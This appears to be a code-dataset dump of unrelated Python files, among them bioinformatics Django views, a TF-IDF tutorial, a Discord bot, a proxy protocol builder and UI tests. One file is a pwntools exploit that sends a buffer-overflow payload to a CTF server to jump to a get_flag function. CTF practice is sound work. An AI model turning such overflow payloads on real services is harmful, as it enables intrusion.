\"/home/alain/bsData/genes_expression_matrix.csv\"\ngeneFitFiles = {'all': \"/home/alain/bsData/genes_all_fit.csv\"}\n\ngeneExprFile = \"/home/alain/bsData/exons_expression_matrix.csv\"\n\n\nuniquePcws = [ int(p) for p in Sample.objects.values_list('pcw',flat=True).distinct()]\nuniqueLogPcws = list(np.log(np.array(uniquePcws)))\nuniqueAcronyms = [ str(ss) for ss in SubStructure.objects.values_list('acronym',flat=True).distinct()]\n\n\ndef getJson(request,transcript,start=None):\n responseDict = {}\n responseDict['ensembl'] = transcript\n selectedGene = Gene.objects.get(ensemblId=transcript)\n if start is None:\n responseDict['symbol'] = selectedGene.symbol\n responseDict['expression'] = zipExpression(selectedGene.id,type='gene')\n responseDict['fits'] = readFits(selectedGene.id,'gene')\n return HttpResponse(json.dumps(responseDict))\n return None #start specifies exon\n exonSet = Exon.objects.filter(gene=selectedGene)\n exonData = dict()\n for (i,exon) in enumerate(exonSet):\n exonData[\"exon\"+str(i)] = generateExonExpression(exonSet[i].id)\n exonData['ensemblId'] = selectedGene.ensemblId\n exonData['symbol'] = selectedGene.symbol\n\n\ndef readFits(row,type):\n if type == 'gene':\n fitSet = dict()\n for struct in geneFitFiles.keys():\n fitSet[struct] = dict()\n fitValues = linecache.getline(geneFitFiles[struct],row).rstrip().split(\",\")\n fitValues.pop(0)\n fitSet[struct]['bgauss'] = {'B': fitValues[0],\n 'A': fitValues[1],\n 'mu':fitValues[2],\n 'sig':fitValues[3],\n 'r2':fitValues[4]}\n return fitSet\n return None\n\n\ndef zipExpression(row,type):\n if type == 'gene':\n allSamples = Sample.objects.all().order_by('id')\n exprValues = linecache.getline(geneExprFile,row).rstrip().split(\",\")\n exprValues.pop(0)\n exprTrajectory = list()\n for (i,sample) in enumerate(allSamples):\n exprTrajectory.append({\"sampleId\":sample.id,\n \"structure\":sample.structure.acronym,\n \"pcw\":sample.pcw,\n \"logPcw\":np.log(sample.pcw),\n \"exprValue\":float(exprValues[i])})\n return exprTrajectory\n return None\n\n\ndef drawABox(request,geneString):\n geneTokens = geneString.split(\"/\")[:3]\n selectedGenes = Gene.objects.filter(ensemblId__in=geneTokens)[:3]\n geneList = list()\n for tup in selectedGenes.values_list('ensemblId'):\n geneList.append(str(tup[0]))\n context = {'selectedGenes':geneList,\n 'uniqueStructures':uniqueAcronyms,\n 'uniquePcws':uniquePcws,\n 'uniqueLogPcws':uniqueLogPcws}\n return render(request, 'drawABox.html', context)\n\n\n\n# def exonTrajectories(request,ensemblRequested):\n# #get all ensembl transcript id\n# dtxt = \"\"\n# geneEntries = Gene.objects.filter(ensemblId=ensemblRequested)\n# exonEntries = Exon.objects.filter(gene=geneEntries[0])\n# for exon in exonEntries:\n# exonStarts.append(exon.start)\n# exonEnds.append(exon.end)\n# exonJsons.append(generateExonJson(exon.id))\n# exonFits.append(fits[exon.id-1])\n# context = { #'debugText':dtxt,\n# 'exonList':zip(exonStarts,exonEnds,exonJsons,exonFits),\n# 'pcws':pcws,\n# 'acronyms':strus\n# }\n# return render(request,'exonT.html',context)\n\ndef transcriptTrajectory(request,symbolRequested):\n #get all ensembl transcript id\n dtxt = \"\"\n gene = Gene.objects.get(symbol=symbolRequested)\n allGenes = Gene.objects.all()\n geneSymbols = [g.symbol for g in allGenes]\n trajJson = generateGeneJson(gene.id)\n context = {'gene':gene,\n 'debugText':dtxt,\n 'expr': trajJson,\n 'uniquePcws':uniquePcws,\n 'uniqueAcronyms':uniqueAcronyms,\n 'geneList':json.dumps(geneSymbols)\n }\n return render(request,'geneT.html',context)\n\ndef multipleTrajectories(request,genesRequested):\n getParameters = genesRequested.split('+')\n geneList = []\n trajList = dict()\n for symbolRequested in getParameters:\n try:\n gene = Gene.objects.get(symbol=symbolRequested)\n geneList.append(gene)\n trajList[str(symbolRequested)] = objectifyGeneTrajectory(gene.id)\n except Gene.DoesNotExist:\n pass #ignore it, user could have typed the URL\n allGeneSymbols = json.dumps([g.symbol for g in Gene.objects.all()])\n context = {'genes':geneList,\n 'exprs': json.dumps(trajList),\n 'uniquePcws':uniquePcws,\n 'uniqueAcronyms':uniqueAcronyms,\n 'geneList':allGeneSymbols}\n return render(request,'multipleGeneT.html',context)\n\n\n\ndef generateExonExpression(exonId):\n allSamples = Sample.objects.all().order_by('id')\n exprValues = linecache.getline(exonExprFile,exonId).rstrip().split(\",\")\n exprValues.pop(0)\n exprTrajectory = list()\n for (i,sample) in enumerate(allSamples):\n exprTrajectory.append( {\"trajid\":i,\n \"value\":exprValues[i],\n \"pcw\":sample.pcw,\n \"structure\":sample.structure.acronym })\n return exprTrajectory\n\n\ndef generateGeneExpression(geneId):\n allSamples = Sample.objects.all().order_by('id')\n exprValues = linecache.getline(geneExprFile,geneId).rstrip().split(\",\")\n exprValues.pop(0)\n exprTrajectory = list()\n for (i,sample) in enumerate(allSamples):\n exprTrajectory.append( {\"trajid\":i,\n \"value\":exprValues[i],\n \"pcw\":sample.pcw,\n \"structure\":sample.structure.acronym })\n return exprTrajectory\n\n\ndef generateExonExpressionJson(geneId):\n allSamples = Sample.objects.all().order_by('id')\n exonTraj = list()\n for i in range(1,400+1):\n exonTraj.append({\"exonid\":i,\n \"exonNo\":i,\n \"start\":i,\n \"end\":i+1,\n \"expr\": []})\n exprValues = linecache.getline(exonExprFile,i).rstrip().split(\",\")\n exprValues.pop(0)\n for (j,sample) in enumerate(allSamples):\n exonTraj[i-1][\"expr\"].append( {\"trajid\":j,\n \"value\":exprValues[j],\n \"pcw\":sample.pcw,\n \"structure\":sample.structure.acronym })\n \n return json.dumps(exonTraj)\n\n\ndef geneIndex(request):\n allGenes = Gene.objects.all()\n geneSymbols = [g.symbol for g in allGenes]\n geneEnsembls = [g.ensemblId for g in allGenes]\n transcriptURLs = [\"/xbd/gene/\" + g.ensemblId for g in allGenes]\n #geneList = zip(geneSymbols,geneEnsembls,transcriptURLs)\n context = {#'debugText': geneList,\n 'geneList': json.dumps(geneSymbols)}\n return render(request,'geneIndex.html',context)\n\ndef drawExonBoxes(request,transcriptString):\n transcript = Gene.objects.get(ensemblId=transcriptString)\n exons = 'hi' ##Exon.objects.filter(ensemblId=token)\n jsonURL = '/xbd/json/' + transcript.ensemblId + '/'\n context = {'transcript':transcript,\n 'exons': exons,\n 'jsonURL': jsonURL,\n 'uniqueStructures':uniqueAcronyms,\n 'uniquePcws':uniquePcws}\n return render(request, 'drawExons.html', context)\n\n\n\ndef fitABox(request,geneString):\n geneToken = geneString.split(\"/\")[0]\n selectedGenes = [Gene.objects.get(symbol=geneToken)]\n geneExpression = dict()\n for gene in selectedGenes:\n geneExpression[gene.ensemblId] = generateGeneExpression(gene.id)\n geneExpr = json.dumps(geneExpression)\n context = {'selectedGenes':selectedGenes,\n 'geneExpr': geneExpr,\n 'uniqueStructures':uniqueAcronyms,\n 'uniquePcws':uniquePcws}\n return render(request, 'fitABox.html', context)\n\n\ndef getAutocompleteData(request,requestString):\n someGenes = [\"gene1\", \"gene2\", \"alain\"]\n return HttpResponse(json.dumps(someGenes))\n\n \n\ndef objectifyExonTrajectory(exonId):\n values = linecache.getline(exonExprFile,exonId).rstrip().split(\",\")\n pcws = Sample.objects.values_list('pcw',flat=True)\n strus = Sample.objects.values_list('structure',flat=True)\n exprTrajectory = [ {\"trajid\":i,\n \"value\":zipped[0],\n \"pcw\":zipped[1],\n \"structure\":zipped[2]} for\n (i,zipped) in enumerate(zip(values,pcws,strus))]\n return exprTrajectory\n\n\n\ndef objectifyGeneTrajectory(geneId):\n values = linecache.getline(geneExprFile,geneId).rstrip().split(\",\")\n pcws = Sample.objects.values_list('pcw',flat=True)\n strus = Sample.objects.values_list('structure',flat=True)\n exprTrajectory = [ {\"trajid\":i,\n \"value\":zipped[0],\n \"pcw\":zipped[1],\n \"structure\":zipped[2]} for\n (i,zipped) in enumerate(zip(values,pcws,strus))]\n return exprTrajectory\n \n","sub_path":"site/xbd/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"237444782","text":"import requests\nimport time\n\ndef getHTMLText(url):\n try:\n r = requests.get(url, timeout = 30)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r.text\n except:\n return 'Fail.'\nif __name__ == '__main__':\n url = input('Enter a url: ')\n st = time.perf_counter() #返回性能计数器的值,第一次的值\n for i in range (100):\n getHTMLText(url)\n dur = time.perf_counter() - st #爬取100次后,减去第一次的值\n print('{:.2f}s'.format(dur))\n","sub_path":"ch1_perfcal.py","file_name":"ch1_perfcal.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"588227683","text":"# gensim TFIDF\n# Based on Datacamp NLP Course\n\n############################################################################################################################################\n# NOTES on TFIDF\n# When you want words that are common across all documents (such as part of the subject) to not appear as Keywords\n# Example: Corpus based on astronomy wouldn't be helpful to have the keyword of 'sky'\n############################################################################################################################################\n\nfrom gensim.corpora.dictionary import Dictionary\nfrom nltk.tokenize import word_tokenize\nfrom gensim.models.tfidfmodel import TfidfModel\n\nmy_documents = ['The movie was about a spaceship and aliens.',\n 'I really liked the movie!',\n 'Awesome action scenes, but boring characters.',\n 'The movie was awful! I hate alien films.',\n 'Space is cool! I liked the movie.',\n 'More space films, please!',]\n# NOTE: Additional preprocessing is usually done here\ntokenize_docs = [word_tokenize(doc.lower()) for doc in my_documents]\n# Setup gensim dictionary where each token gets assigned an id\ndict = Dictionary(tokenize_docs)\ndict.token2id\n\n# Create gensim corpus (colletion of documents with bag of words model)\n# Token IDs and Frequency of each in the document will be mapped as a series of tuples\ncorpus = [dict.doc2bow(doc) for doc in tokenize_docs]\n\n# Setup TFIDF Model\ntfidf = TfidfModel(corpus)\n\n# We can then access each document by using it as a dictionary key within our new tfidf model\ntfidf[corpus[4]]\n\nfor token in list(tfidf[corpus[4]]):\n print(token[0],dict.get(token[0]),token[1])\n\n######################################################################################################################################################\n# Additional Excercise to apply TFIDF on a Corpus and look at a documents top weights after tfidf transformation\n######################################################################################################################################################\n# Import TfidfModel\nfrom gensim.models.tfidfmodel import TfidfModel\n\n# Create a new TfidfModel using the corpus: tfidf\ntfidf = TfidfModel(corpus)\n\n# Calculate the tfidf weights of doc: tfidf_weights\ntfidf_weights = tfidf[doc]\n\n# Print the first five weights\nprint(tfidf_weights[:5])\n\n# Sort the weights from highest to lowest: sorted_tfidf_weights\nsorted_tfidf_weights = sorted(tfidf_weights, key=lambda w: w[1], reverse=True)\n\n# Print the top 5 weighted words\nfor term_id, weight in sorted_tfidf_weights[:5]:\n print(dictionary.get(term_id), weight)\n\n\n\n\n\n","sub_path":"python-text/gensim_tfidf.py","file_name":"gensim_tfidf.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"201349485","text":"# python3 examiner.py ctf_pepe.png 100 | cut -c 26-29 > file\r\nimport base64\r\nvalues = ''\r\nwith open(\"alphas.txt\", \"r\") as file:\r\n s = file.readline()\r\n while s:\r\n tmp = chr(255-int(s))\r\n if tmp == 'x00':\r\n break\r\n values += tmp\r\n s = file.readline()\r\n\r\nprint(base64.b64decode(values))","sub_path":"2019-RITSECCTF/stego/hd_pepe/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"105992119","text":"from pwn import *\r\n\r\n#context.arch = 'i386'\r\n#context.terminal=['tmux', 'splitw', '-h']\r\n#p = process(\"./gpwn\")\r\np = remote('ctf.j0n9hyun.xyz', 3011)\r\nget_flag = 0x8048f0d\r\n#gdb.attach(p, 'b*0x04009c9')\r\n\r\n\r\npayload = ''\r\npayload += \"A\"\r\npayload += \"I\"*21\r\npayload += p32(get_flag)\r\n\r\np.sendline(payload)\r\np.interactive()","sub_path":"hackctf/pwnable/gpwn.py","file_name":"gpwn.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"431856289","text":"#\n# A builder for a translation response.\n#\n# Author: Max Kellermann \n#\n\nimport six\nimport array, struct\nfrom urllib.parse import urlparse\n\nfrom .protocol import *\nfrom .serialize import packet_header\n\nclass Response:\n \"\"\"Generator for a translation response. The BEGIN and END\n packets are generated automatically. When you are done with the\n response, call finish(). This method returns the full response\n (all serialized packets) as a string.\"\"\"\n\n def __init__(self, protocol_version=0):\n assert isinstance(protocol_version, int)\n assert protocol_version >= 0\n assert protocol_version <= 0xff\n\n self._data = b''\n\n payload = b''\n if protocol_version > 0:\n payload = struct.pack('B', protocol_version)\n self.packet(TRANSLATE_BEGIN, payload)\n\n def finish(self):\n \"\"\"Finish the response, and return it as a string.\"\"\"\n self._data += packet_header(TRANSLATE_END)\n return self._data\n\n def packet(self, command, payload = b''):\n \"\"\"Append a packet.\"\"\"\n\n # this automatic conversion allows passing a `str` payload in\n # Python 3\n payload = six.ensure_binary(payload)\n\n assert isinstance(payload, bytes)\n self._data += packet_header(command, len(payload))\n self._data += payload\n return self\n\n def status(self, status):\n \"\"\"Append a STATUS packet.\"\"\"\n assert status >= 200 and status < 600\n return self.packet(TRANSLATE_STATUS, struct.pack('H', status))\n\n def https_only(self, port=0):\n \"\"\"Append a HTTPS_ONLY packet.\"\"\"\n return self.packet(TRANSLATE_HTTPS_ONLY, struct.pack('H', port))\n\n def redirect(self, url):\n \"\"\"Append a REDIRECT packet.\"\"\"\n return self.packet(TRANSLATE_REDIRECT, url)\n\n def message(self, msg):\n \"\"\"Append a MESSAGE packet.\"\"\"\n return self.packet(TRANSLATE_MESSAGE, msg.encode('us-ascii'))\n\n def view(self, name):\n \"\"\"Append a VIEW packet.\"\"\"\n assert isinstance(name, str)\n assert len(name) > 0\n return self.packet(TRANSLATE_VIEW, name)\n\n def process(self, container=False):\n \"\"\"Append a PROCESS packet, and also a CONTAINER packet if the\n 'container' argument is true.\"\"\"\n self.packet(TRANSLATE_PROCESS)\n if container:\n self.packet(TRANSLATE_CONTAINER)\n return self\n\n def __http(self, packet, uri, addresses=None):\n assert uri[0] != '/' or len(addresses) == 0\n assert addresses is None or hasattr(addresses, '__iter__')\n\n if uri[0] != '/' and addresses is None:\n # parse host:port from URL\n from socket import gethostbyname\n\n host, port = (urlparse(uri)[1].split(':', 1) + [None])[0:2]\n address = gethostbyname(host)\n if port: address += ':' + port\n addresses = (address,)\n\n self.packet(packet, uri)\n for address in addresses:\n self.packet(TRANSLATE_ADDRESS_STRING, address)\n return self\n\n def http(self, *args, **kwargs):\n \"\"\"Generate a HTTP packet. If you do not specify an address\n list, this function looks up the URI's host name with the\n local resolver (which may throw socket.gaierror).\"\"\"\n return self.__http(TRANSLATE_HTTP, *args, **kwargs)\n\n proxy = http # deprecated\n\n def ajp(self, uri, addresses):\n \"\"\"Generate an AJP packet. If you do not specify an address\n list, this function looks up the URI's host name with the\n local resolver (which may throw socket.gaierror).\"\"\"\n\n assert isinstance(addresses, str) or hasattr(addresses, '__iter__')\n\n if isinstance(addresses, str):\n from socket import gethostbyname\n host, port = (addresses.split(':', 1) + [None])[:2]\n address = gethostbyname(host)\n if port: address += ':' + port\n addresses = (address,)\n\n self.packet(TRANSLATE_AJP, uri)\n for address in addresses:\n self.packet(TRANSLATE_ADDRESS_STRING, address)\n return self\n\n def nfs(self, server, export, path):\n \"\"\"Generate an NFS address.\"\"\"\n\n assert isinstance(server, (str, bytes))\n assert isinstance(export, (str, bytes))\n assert isinstance(path, (str, bytes))\n\n self.packet(TRANSLATE_NFS_SERVER, server)\n self.packet(TRANSLATE_NFS_EXPORT, export)\n self.packet(TRANSLATE_PATH, path)\n return self\n\n def max_age(self, seconds):\n assert isinstance(seconds, int)\n return self.packet(TRANSLATE_MAX_AGE, struct.pack('I', seconds))\n\n def expires_relative(self, seconds):\n assert isinstance(seconds, int)\n return self.packet(TRANSLATE_EXPIRES_RELATIVE, struct.pack('I', seconds))\n\n def expires_relative_with_query(self, seconds):\n assert isinstance(seconds, int)\n return self.packet(TRANSLATE_EXPIRES_RELATIVE_WITH_QUERY, struct.pack('I', seconds))\n\n def vary(self, *args):\n \"\"\"Send a VARY packet. All arguments are packet ids which are\n put into the VARY packet payload.\"\"\"\n\n assert len(args) > 0\n payload = array.array('H', args)\n if six.PY2:\n payload = payload.tostring()\n else:\n payload = payload.tobytes()\n return self.packet(TRANSLATE_VARY, payload)\n\n def invalidate(self, *args):\n \"\"\"Send a INVALIDATE packet. All arguments are packet ids\n which are put into the INVALIDATE packet payload.\"\"\"\n\n assert len(args) > 0\n payload = array.array('H', args)\n if six.PY2:\n payload = payload.tostring()\n else:\n payload = payload.tobytes()\n return self.packet(TRANSLATE_INVALIDATE, payload)\n\n def want(self, *args):\n \"\"\"Send a WANT packet. All arguments are packet ids which are\n put into the WANT packet payload.\"\"\"\n\n assert len(args) > 0\n payload = array.array('H', args)\n if six.PY2:\n payload = payload.tostring()\n else:\n payload = payload.tobytes()\n return self.packet(TRANSLATE_WANT, payload)\n\n def pipe(self, path, *args):\n \"\"\"Send a PIPE packet. You may pass additional arguments\n which are sent as APPEND packets.\"\"\"\n\n assert isinstance(path, (str, bytes))\n assert len(path) > 0\n self.packet(TRANSLATE_PIPE, path)\n for arg in args:\n self.packet(TRANSLATE_APPEND, arg)\n return self\n\n def path(self, path):\n assert isinstance(path, (str, bytes))\n assert len(path) > 0\n assert path[0] == '/' or path[0] == ord('/')\n return self.packet(TRANSLATE_PATH, path)\n\n def gzipped(self, path):\n assert isinstance(path, (str, bytes))\n assert len(path) > 0\n assert path[0] == '/' or path[0] == ord('/')\n return self.packet(TRANSLATE_GZIPPED, path)\n\n def pair(self, name, value):\n assert isinstance(name, str)\n assert isinstance(value, (str, bytes))\n assert len(name) > 0\n assert name.find('=') < 0\n return self.packet(TRANSLATE_PAIR,\n six.ensure_binary(name) + b'=' + six.ensure_binary(value))\n\n def expand_pair(self, name, value):\n assert isinstance(name, str)\n assert isinstance(value, (str, bytes))\n assert len(name) > 0\n assert name.find('=') < 0\n return self.packet(TRANSLATE_EXPAND_PAIR,\n six.ensure_binary(name) + b'=' + six.ensure_binary(value))\n\n def setenv(self, name, value):\n assert isinstance(name, str)\n assert isinstance(value, (str, bytes))\n assert len(name) > 0\n assert name.find('=') < 0\n return self.packet(TRANSLATE_SETENV,\n six.ensure_binary(name) + b'=' + six.ensure_binary(value))\n\n def expand_setenv(self, name, value):\n assert isinstance(name, str)\n assert isinstance(value, (str, bytes))\n assert len(name) > 0\n assert name.find('=') < 0\n return self.packet(TRANSLATE_EXPAND_SETENV,\n six.ensure_binary(name) + b'=' + six.ensure_binary(value))\n\n def content_type(self, content_type):\n assert isinstance(content_type, str)\n assert content_type.find('/') > 0\n return self.packet(TRANSLATE_CONTENT_TYPE, content_type)\n\n def delegate(self, helper):\n assert isinstance(helper, (str, bytes))\n return self.packet(TRANSLATE_DELEGATE, helper)\n\n def delegated_path(self, helper, path):\n self.path(path)\n self.delegate(helper)\n return self\n\n def header_forward(self, command, *args):\n payload = b''\n for x in args:\n assert isinstance(x, tuple)\n assert len(x) == 2\n assert isinstance(x[0], int)\n assert isinstance(x[1], int)\n\n payload += struct.pack('hBx', *x)\n return self.packet(command, payload)\n\n def request_header_forward(self, *args):\n return self.header_forward(TRANSLATE_REQUEST_HEADER_FORWARD,\n *args)\n\n def response_header_forward(self, *args):\n return self.header_forward(TRANSLATE_RESPONSE_HEADER_FORWARD,\n *args)\n\n def response_header(self, name, value):\n assert isinstance(name, (str, bytes))\n assert isinstance(value, (str, bytes))\n return self.packet(TRANSLATE_HEADER,\n six.ensure_binary(name) + b':' + six.ensure_binary(value))\n\n def request_header(self, name, value):\n assert isinstance(name, (str, bytes))\n assert isinstance(value, (str, bytes))\n return self.packet(TRANSLATE_REQUEST_HEADER,\n six.ensure_binary(name) + b':' + six.ensure_binary(value))\n\n def expand_request_header(self, name, value):\n assert isinstance(name, (str, bytes))\n assert isinstance(value, (str, bytes))\n return self.packet(TRANSLATE_EXPAND_REQUEST_HEADER,\n six.ensure_binary(name) + b':' + six.ensure_binary(value))\n\n def header(self, name, value):\n \"\"\"Deprecated. Use response_header() instead.\"\"\"\n return self.response_header(name, value)\n\n def validate_mtime(self, mtime, path):\n return self.packet(TRANSLATE_VALIDATE_MTIME,\n struct.pack('L', int(mtime)) + six.ensure_binary(path))\n\n def bind_mount(self, source, target, expand=False, writable=False):\n assert isinstance(source, (str, bytes))\n source = six.ensure_binary(source)\n assert source[0] == ord('/')\n\n assert isinstance(target, (str, bytes))\n target = six.ensure_binary(target)\n assert target[0] == ord('/')\n\n if writable:\n if expand:\n command = TRANSLATE_EXPAND_BIND_MOUNT_RW\n else:\n command = TRANSLATE_BIND_MOUNT_RW\n else:\n if expand:\n command = TRANSLATE_EXPAND_BIND_MOUNT\n else:\n command = TRANSLATE_BIND_MOUNT\n\n return self.packet(command, source + b'\\0' + target)\n\n def umask(self, umask):\n \"\"\"Append a UMASK packet.\"\"\"\n return self.packet(TRANSLATE_UMASK, struct.pack('H', umask))\n\n def uid_gid(self, uid, gid, *supplementary_groups):\n assert isinstance(uid, int)\n assert isinstance(gid, int)\n return self.packet(TRANSLATE_UID_GID,\n struct.pack(str(2 + len(supplementary_groups)) + 'I',\n uid, gid, *supplementary_groups))\n\n def external_session_manager(self, *args, **kwargs):\n return self.__http(TRANSLATE_EXTERNAL_SESSION_MANAGER, *args, **kwargs)\n\n def external_session_keepalive(self, interval):\n return self.packet(TRANSLATE_EXTERNAL_SESSION_KEEPALIVE, struct.pack('H', interval))\n","sub_path":"python/beng_proxy/translation/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":11941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"404635032","text":"# Get a PDA Quote (TM) from the website.\n# Why? because reasons\n\nimport asyncio\nimport requests\nimport json\nimport time\nimport html2text\nimport bbcode\nimport re\nimport random\n\nfrom discord.ext.commands import Command\nfrom discord.embeds import Embed\nfrom botsupport.util import *\n\nHELPSTR = \"\"\"Search planetda.net for posts. You can do this in several ways.\n\n[man i'll do this later (lots of love, leos xoxo)]\n\nPlanet DarkAges Search is powered by a joint venture between Wuhao Heavy\nIndustries and the Robotics Division of Don't Fuken @ Me, Ltd.\n\"\"\"\n\n\"\"\"\nAPI endpoint params:\n\nauthor: author's current username = author\nuid: author_id = uid\npid: post id = pid\ntid: post's topic id = tid\nmin_ts: post_date >= min_ts (epoch seconds)\nmax_ts: post_date < max_ts (epoch seconds)\nlen_min: length(post) >= len_min (bytes)\nlen_min: length(post) < len_max (bytes)\ntext: MATCH(post) AGAINST ('text')\nuser_post_min: user post count >= user_post_min\nuser_post_max: user post count < user_post_max\nop: post must be first in topic if op='true', ignored if op='false' or omitted, undefined otherwise\n\"\"\"\n\nNEWLINE_MUNGE = \"(? rating['percent']:\n rating['percent'] = round(float(percent) * 100, 1)\n rating['category'] = random.choice(category_map[category])\n\n if rating['percent'] < 80:\n return None\n\n return rating\n\n\ndef fetch_quote(ctx, args):\n url = \"http://planetda.net:22000/quote\"\n\n params = {\n \"len_min\": 20,\n \"len_max\": 1500\n }\n\n queries = [x.strip() for x in \" \".join(args).split(\"|\")]\n if queries[0]:\n params[\"text\"] = queries[0]\n\n if len(queries) == 2 and queries[1]:\n params[\"author\"] = queries[1]\n\n r = requests.get(url, params=params)\n r.raise_for_status()\n\n response_content = r.json()\n\n if 'error' in response_content:\n return {\n \"message\": \"PROBLEM! {}\".format(response_content['error']),\n \"embeds\": []\n }\n\n rating = get_rating(response_content)\n\n message = \"PDASearch - A lovely post!\"\n if rating:\n message = \"This PDA post is {percent}% certified {category}\".format(\n percent=rating['percent'],\n category=rating['category']\n )\n\n output = {\n \"message\": message,\n \"embeds\": []\n }\n\n fragment = re.sub(NEWLINE_MUNGE, ' ', response_content['post']['post'])\n html = bbcode.render_html(fragment)\n h = html2text.HTML2Text()\n sanitized_post = \"{}\".format(h.handle(html))\n\n output[\"embeds\"] = [{\n \"title\": response_content['topic']['title'],\n \"url\": response_content['post']['url'],\n \"author\": {\n \"name\": response_content['author']['name'],\n \"icon_url\": response_content['author']['avatar']\n },\n \"timestamp\": time.strftime(\n '%F',\n time.localtime(response_content['post']['post_date'])\n ),\n \"description\": sanitized_post\n }]\n\n return output\n\nasync def get_pda_quote(ctx, *args):\n p = fetch_quote(ctx, args)\n if len(p['embeds']) > 0:\n e = Embed.from_data(p['embeds'][0])\n await ctx.bot.say(p['message'], embed=e)\n else:\n await ctx.bot.say(p['message'])\n\n\ndef register(bot):\n bot.add_command(Command('pdaquote', get_pda_quote, pass_context=True, brief=\"Get a random post from PDA. Can search by term or author, too.\",\n help=HELPSTR))\n","sub_path":"botsupport/plugins/pdaquote.py","file_name":"pdaquote.py","file_ext":"py","file_size_in_byte":4710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"551928181","text":"#coding:utf-8\nfrom time import *\nimport unittest\nfrom appium import webdriver\n\n\nclass MyTestCase(unittest.TestCase):\n def setUp(self):\n desired_caps = {\n 'platformName':'Android',\n 'platformVersion':'5.0',\n 'appPackage':'com.idreamsky.avg.platform',\n 'appActivity':'com.idreamsky.activity.HomeActivity',\n 'deviceName': '192.168.215.101:5555',\n 'unicodeKeyboard':'True',\n 'restKeyboard':'True',\n 'noReset': 'True'\n }\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub',desired_caps)\n sleep(3)\n\n def test_1(self):\n \"\"\"进入修改个人信息页面\"\"\"\n self.driver.find_element_by_id(\"item_personal_center\").click()\n sleep(1)\n self.driver.swipe(350, 1000, 350, 800)\n sleep(1)\n self.driver.find_element_by_id(\"setting\").click()\n sleep(1)\n try:\n if self.driver.find_element_by_id(\"logout_tv\").is_displayed():\n print(\"校验通过,检测到退出登录按钮\")\n except Exception as e:\n print(e)\n print(\"校验不通过\")\n self.driver.get_screenshot_as_file(r\"D:\\test_jietu\\xi1.png\")\n\n def tearDown(self):\n self.driver.quit()\n sleep(2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_Android/test_gr_xitongshezhi.py","file_name":"test_gr_xitongshezhi.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"200366528","text":"import sys\nimport pickle\n\nimport numpy as np\nimport torch\nimport plotly\nimport plotly.graph_objects as go\n\nfrom CodeUtil import *\nfrom HandModel import HandModel\nfrom Losses import FCLoss\nfrom ObjectModel import ObjectModel\nfrom PenetrationModel import PenetrationModel\nfrom EMA import EMA\n\nbatch_size = 256\nstep_size = 0.1\nannealing_period = 3000\nstarting_temperature = 0.1\ntemperature_decay = 0.95\nstepsize_period = 3000\nnoise_size = 0.1\n\nos.makedirs('optimize', exist_ok=True)\n_id = sys.argv[1]\nfn = 'logs/zeyu_5p/final_' + _id + '.pkl'\n\nobj_code, z, contact_point_indices, energy, energy_history, temperature_history, stepsize_history = pickle.load(open(fn, 'rb'))\nobj_code = obj_code[:batch_size]\nz = z[:batch_size]\ncontact_point_indices = contact_point_indices[:batch_size]\n\nhand_model = HandModel(\n root_rot_mode='ortho6d', \n robust_rot=False,\n flat_hand_mean=False,\n n_contact=5)\nobject_model = ObjectModel()\nfc_loss = FCLoss(object_model)\npenetration_model = PenetrationModel(hand_model, object_model)\n\ndef compute_energy(obj_code, z, contact_point_indices, verbose=False, sd_weight=1):\n hand_verts = hand_model.get_vertices(z)\n contact_point = torch.stack([hand_verts[torch.arange(batch_size), contact_point_indices[:,i],:] for i in range(5)], dim=1)\n contact_distance = object_model.distance(obj_code, contact_point)\n contact_normal = object_model.gradient(contact_point, contact_distance)\n contact_normal = contact_normal / torch.norm(contact_normal, dim=-1, keepdim=True)\n hand_normal = hand_model.get_surface_normals(z=z)\n hand_normal = torch.stack([hand_normal[torch.arange(z.shape[0]), contact_point_indices[:,i], :] for i in range(5)], dim=1)\n hand_normal = hand_normal / torch.norm(hand_normal, dim=-1, keepdim=True) \n normal_alignment = ((hand_normal * contact_normal).sum(-1) + 1).sum(-1)\n linear_independence, force_closure = fc_loss.fc_loss(contact_point, contact_normal, obj_code)\n surface_distance = fc_loss.dist_loss(obj_code, contact_point) * sd_weight\n penetration = penetration_model.get_penetration_from_verts(obj_code, hand_verts) # B x V\n z_norm = torch.norm(z[:,-6:], dim=-1) * 0.1\n if verbose:\n return linear_independence, force_closure, surface_distance.sum(1), penetration.sum(1), z_norm, normal_alignment\n else:\n return linear_independence + force_closure + surface_distance.sum(1) + penetration.sum(1) + z_norm + normal_alignment\n\ndef T(t):\n return starting_temperature * temperature_decay ** (t // annealing_period)\n\ndef S(t):\n return noise_size * temperature_decay ** (t // stepsize_period)\n\nmask = torch.tensor(np.eye(15)).float().cuda().unsqueeze(0) # 1 x 6 x 6\n# mask = torch.cat([torch.zeros([1,6,9]).float().cuda(), mask], dim=2)\n\nenergy = compute_energy(obj_code, z, contact_point_indices, sd_weight=100)\nold_energy = energy.clone()\ngrad = torch.autograd.grad(energy.sum(), z)[0]\ngrad_ema = EMA(0.98)\ngrad_ema.apply(grad)\nmean_energy = []\nfor _iter in range(10000):\n step_size = 0.1\n temperature = 1e-3\n noise = torch.normal(mean=0, std=1, size=z.shape, device='cuda').float() * step_size\n new_z = z - 0.5 * grad * mask[:,_iter%15,:] / grad_ema.average.unsqueeze(0) * step_size * step_size + noise\n new_energy = compute_energy(obj_code, new_z, contact_point_indices, sd_weight=100)\n new_grad = 